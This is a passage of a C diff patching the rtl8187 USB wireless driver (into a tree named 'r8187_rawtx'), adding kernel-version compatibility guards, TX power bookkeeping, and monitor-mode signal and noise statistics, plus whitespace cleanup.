= 1; - + /* FIXME HACK FIXME HACK */ // force_pci_posting(dev); // mdelay(1); - + // rb = read_nic_dword(dev, TSFTR); #ifdef TONY_PS printk(KERN_INFO "tl %lu, rb %lu!\n",tl,rb); #endif - + //DMESG("sleep until %x, hw @:%x",tl,rb); - + /* If the interval in witch we are requested to sleep is too * short then give up and remain awake */ @@ -1914,12 +1949,12 @@ if(((rbtl)&& (rb-tl) < MIN_SLEEP_TIME)) return; - + // write_nic_dword(dev, TimerInt, tl); //DMESG("sleep.."); // rb = read_nic_dword(dev, TSFTR); - - /* if we suspect the TimerInt is gone beyond tl + + /* if we suspect the TimerInt is gone beyond tl * while setting it, then give up */ if(((tl > rb) && ((tl-rb) > MAX_SLEEP_TIME))|| @@ -1927,29 +1962,29 @@ return; if (rb>tl) - timeout = (rb-tl)>>10;//divide by 1024 + timeout = (rb-tl)>>10;//divide by 1024 else - timeout = (tl-rb)>>10; + timeout = (tl-rb)>>10; // if(priv->rf_sleep) // priv->rf_sleep(dev); priv->ps_timer.expires = jiffies+timeout; //// printk(KERN_INFO "jiffies %lu, timeout %lu!\n",jiffies,timeout); add_timer(&priv->ps_timer); - + if(priv->rf_sleep) priv->rf_sleep(dev); priv->ps_sleep_finish=1; // } // up(&priv->power_sem); -// spin_unlock_irqrestore(&priv->ps_lock,flags); +// spin_unlock_irqrestore(&priv->ps_lock,flags); printk(KERN_INFO "leave sleep!\n"); } short rtl8180_is_tx_queue_empty(struct net_device *dev){ - + struct r8180_priv *priv = ieee80211_priv(dev); - + int used; #ifdef TONY_TRACK DMESG("enter rtl8180_is_tx_queue_empty!\n"); @@ -1957,11 +1992,11 @@ used = atomic_read(&priv->tx_np_pending); //// printk(KERN_INFO "np used %d!\n",used); - if (used) return 0; + if (used) return 0; used = atomic_read(&priv->tx_lp_pending); //// printk(KERN_INFO "lp used %d!\n",used); if (used) return 0; - + return 1; } @@ -1969,7 +2004,7 @@ short rtl8180_init(struct net_device *dev) { - + struct r8180_priv *priv = ieee80211_priv(dev); int i, j; u16 word; @@ -1977,16 +2012,16 @@ //u16 version; //u8 hw_version; //u8 config3; - + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -2004,9 +2039,9 @@ ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -2042,7 +2077,7 @@ priv->ps_sleep_finish=0; priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps @@ -2050,11 +2085,19 @@ priv->ieee80211->mode = IEEE_G|IEEE_B; //2007.1.25 priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); INIT_WORK(&priv->rtl8180_hw_wakeup_wq,(void(*)(void*))rtl8180_hw_wakeup,dev); INIT_WORK(&priv->ieee80211->ps_request_tx_ack_wq,(void(*)(void*))rtl8180_rq_tx_ack,dev); INIT_WORK(&priv->ieee80211->hw_wakeup_wq,(void(*)(void*))rtl8180_hw_wakeup,dev); INIT_WORK(&priv->ieee80211->hw_sleep_wq,(void(*)(void*))rtl8180_hw_sleep,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); + INIT_WORK(&priv->rtl8180_hw_wakeup_wq, rtl8180_hw_wakeup); + INIT_WORK(&priv->ieee80211->ps_request_tx_ack_wq, rtl8180_rq_tx_ack); + INIT_WORK(&priv->ieee80211->hw_wakeup_wq, rtl8180_hw_wakeup); + INIT_WORK(&priv->ieee80211->hw_sleep_wq, rtl8180_hw_sleep); +#endif // INIT_WORK(&priv->ps_request_tx_ack_wq,(void(*)(void*))rtl8180_rq_tx_ack,dev); sema_init(&priv->wx_sem,1); sema_init(&priv->power_sem,1); @@ -2068,17 +2111,17 @@ priv->ps_timer.data = (unsigned long)dev; priv->ps_timer.function = timer_hw_wakeup_wq; - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -2100,51 +2143,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -2162,13 +2205,13 @@ priv->plcp_preamble_mode = 2; - + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -2204,8 +2247,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -2213,58 +2256,67 @@ priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - + dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + + priv->txpwr_max = 0; + for(i=1; i<15; i++) + { + if(priv->chtxpwr[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdm[i]; + priv->chtxpwr_orig[i] = priv->chtxpwr[i]; + priv->chtxpwr_ofdm_orig[i] = priv->chtxpwr_ofdm[i]; + } + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -2283,30 +2335,30 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); DMESGW("Exiting..."); return -1; - + } InitSwLeds(dev); - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -2320,16 +2372,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -2349,7 +2401,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -2442,26 +2494,26 @@ struct r8180_priv *priv = ieee80211_priv(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); LedControl8187(dev, LED_CTL_POWER_ON); //write_nic_byte(dev,0x91,1); //write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); @@ -2469,32 +2521,32 @@ rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); -/* +/* rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ - write_nic_dword(dev,INT_TIMEOUT,0); + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2510,13 +2562,13 @@ //add for Led controll write_nic_byte(dev,0x85,4); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2534,7 +2586,7 @@ { int i; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2547,41 +2599,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2592,7 +2644,7 @@ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { struct r8180_priv *priv = ieee80211_priv(dev); - + return &priv->ieee80211->stats; } @@ -2602,20 +2654,20 @@ struct r8180_priv *priv = ieee80211_priv(dev); priv->up=1; - + //DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - + rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + ieee80211_softmac_start_protocol(priv->ieee80211); //LedControl8187(dev, LED_CTL_SITE_SURVEY); - + ieee80211_reset_queue(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); @@ -2630,12 +2682,12 @@ { struct r8180_priv *priv = ieee80211_priv(dev); int ret; - + down(&priv->wx_sem); ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } @@ -2644,7 +2696,7 @@ struct r8180_priv *priv = ieee80211_priv(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } @@ -2653,15 +2705,15 @@ { struct r8180_priv *priv = ieee80211_priv(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + LedControl8187(dev, LED_CTL_NO_LINK); - + up(&priv->wx_sem); - + return ret; } @@ -2671,18 +2723,18 @@ struct r8180_priv *priv = ieee80211_priv(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); ieee80211_softmac_stop_protocol(priv->ieee80211); - + return 0; } @@ -2692,7 +2744,7 @@ struct r8180_priv *priv = ieee80211_priv(dev); if (priv->up == 0) return ; - + ieee80211_softmac_stop_protocol(priv->ieee80211); sema_init(&priv->power_sem,1); //printk(KERN_WARNING "priv->power_semb %d!\n",priv->power_sem); @@ -2701,14 +2753,20 @@ _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { struct r8180_priv *priv = ieee80211_priv(dev); - +#endif down(&priv->wx_sem); - + rtl8180_commit(dev); - + up(&priv->wx_sem); } @@ -2718,16 +2776,16 @@ short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2737,15 +2795,15 @@ { struct r8180_priv *priv = ieee80211_priv(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2758,8 +2816,8 @@ int ret=-1; down(&priv->wx_sem); - - + + switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); @@ -2771,7 +2829,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2792,9 +2850,9 @@ //u32 *desc; u8 *desc; u8 signal,quality,rate; - + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats stats = { .signal = 0, .noise = -98, @@ -2803,31 +2861,31 @@ .freq = IEEE80211_24GHZ_BAND, }; - + //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ -#if 0 +#if 0 desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - + //stats.signal = (desc[1] & 0x7f00)>>8; //stats.noise = desc[1] &0xff; signal=(desc[1]& (0xff0000))>>16; signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 - + quality=(desc[1] & (0xff)); - + rate=(desc[0] &((1<<23)|(1<<22)|(1<<21)|(1<<20)))>>20; - // printk(KERN_INFO "rate is %d!\n",rate); - stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); //stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; @@ -2835,35 +2893,35 @@ #endif desc = rx_urb->transfer_buffer + len; - + flen = ((desc[1] & 0x0f) << 8) + (desc[0] & 0xff); - + if( flen <= rx_urb->actual_length){ - + //stats.signal = (desc[1] & 0x7f00)>>8; //stats.noise = desc[1] &0xff; signal=(desc[6]& 0xfe)>>1; //signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 - + quality=desc[4] & 0xff; - + //rate=(desc[2] &((1<<7)|(1<<6)|(1<<5)|(1<<4)))>>4; rate=(desc[2] & 0xf0)>>4; - // printk(KERN_INFO "rate is %d!\n",rate); - stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); //stats.rate = desc[0] >> 20 & 0xf; - stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); - stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); + stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + - //calculate link quality begin - if(!rtl8180_IsWirelessBMode(stats.rate) ) + if(!rtl8180_IsWirelessBMode(stats.rate) ) { // OFDM rate. if(signal>90) signal=90; else if(signal<25) - signal=25; + signal=25; signal = (90-signal)*100/65; } else @@ -2871,7 +2929,7 @@ if(signal>95) signal = 95; else if(signal<30) - signal = 30; + signal = 30; signal =(95-signal )*100/65; } priv->wstats.qual.level = signal; @@ -2879,30 +2937,35 @@ if(quality > 64) priv ->wstats.qual.qual = 0; else - priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, - //and this value only appear when STA is associated to AP or + priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, + //and this value only appear when STA is associated to AP or // STA is in IBSS mode // printk(KERN_INFO "quality is %d!\n",priv->wstats.qual.qual); priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual; priv->wstats.qual.updated = 7; - //calculate link quality end + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + stats.signal = priv->wstats.qual.level; + stats.noise = priv->wstats.qual.noise; + } + //calculate link quality end skb = dev_alloc_skb(flen-4); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - if(!ieee80211_rx(priv->ieee80211, + if(!ieee80211_rx(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2913,7 +2976,7 @@ } //LedControl8187(dev, LED_CTL_RX); - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2931,20 +2994,20 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -printk(KERN_WARNING "===> rtl8187_usb_probe()\n"); - +printk(KERN_WARNING "===> rtl8187_usb_probe()\n"); + dev = alloc_ieee80211(sizeof(struct r8180_priv)); - + SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - + usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); priv = ieee80211_priv(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + dev->open = rtl8180_open; dev->stop = rtl8180_close; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; @@ -2953,41 +3016,46 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if (dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: free_ieee80211(dev); - + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2996,13 +3064,13 @@ struct r8180_priv *priv; struct net_device *dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - + priv=ieee80211_priv(dev); - + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -3046,11 +3114,11 @@ unsigned long flags; short enough_desc; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) ieee80211_wake_queue(priv->ieee80211); } diff -Naur r8187_orig/rtl8187/r8187.h r8187_rawtx/rtl8187/r8187.h --- r8187_orig/rtl8187/r8187.h 2007-12-05 04:22:20.000000000 +0100 +++ r8187_rawtx/rtl8187/r8187.h 2007-05-16 21:51:38.000000000 +0200 @@ -1,17 +1,17 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon - + Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include "r8187_led.h" #include "r8180_hw.h" @@ -74,7 +79,7 @@ { struct buffer *next; u32 *buf; - + } buffer; #if 0 @@ -123,7 +128,7 @@ unsigned long txdatapkt; unsigned long rxok; unsigned long rxretry;//retry number tony 20060601 - unsigned long rxcrcerrmin;//crc error (0-500) + unsigned long rxcrcerrmin;//crc error (0-500) unsigned long rxcrcerrmid;//crc error (500-1000) unsigned long rxcrcerrmax;//crc error (>1000) unsigned long rxicverr;//ICV error @@ -142,7 +147,7 @@ short epromtype; int irq; struct ieee80211_device *ieee80211; - + short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ @@ -151,12 +156,12 @@ short hw_plcp_len; short plcp_preamble_mode; // 0:auto 1:short 2:long - + // spinlock_t irq_lock; // spinlock_t irq_th_lock; spinlock_t tx_lock; spinlock_t ps_lock; - + u16 irq_mask; // short irq_enabled; struct net_device *dev; @@ -165,17 +170,20 @@ short max_sens; u8 chtxpwr[15]; //channels from 1 to 14, 0 not used u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_orig[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_ofdm_orig[15]; //channels from 1 to 14, 0 not used u8 cck_txpwr_base; u8 ofdm_txpwr_base; + u8 txpwr_max; u8 challow[15]; //channels from 1 to 14, 0 not used u8 channel_plan; // it's the channel plan index short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; + short prism_hdr; struct timer_list ps_timer; short PS_timeout;//when ps set on ,if tx timeout ,this will be set 1 - + // struct timer_list scan_timer; /*short scanpending; short stopscan;*/ @@ -185,7 +193,7 @@ struct semaphore wx_sem; struct semaphore power_sem; // short hw_wep; - + // short digphy; // short antb; // short diversity; @@ -200,12 +208,12 @@ void (*rf_wakeup)(struct net_device *dev); void (*rf_sleep)(struct net_device *dev); //short rate; - short promisc; + short promisc; /*stats*/ struct Stats stats; struct iw_statistics wstats; struct proc_dir_entry *dir_dev; - + /*RX stuff*/ // u32 *rxring; // u32 *rxringtail; @@ -213,20 +221,20 @@ struct urb **rx_urb; struct tx_urb_context tx_context[MAX_TX_URB]; short tx_urb_index; - + //struct buffer *rxbuffer; //struct buffer *rxbufferhead; //int rxringcount; //u16 rxbuffersize; - - //struct sk_buff *rx_skb; + + //struct sk_buff *rx_skb; //short rx_skb_complete; //u32 rx_prevlen; atomic_t tx_lp_pending; atomic_t tx_np_pending; -#if 0 +#if 0 /*TX stuff*/ u32 *txlpring; u32 *txhpring; @@ -256,7 +264,7 @@ struct urb 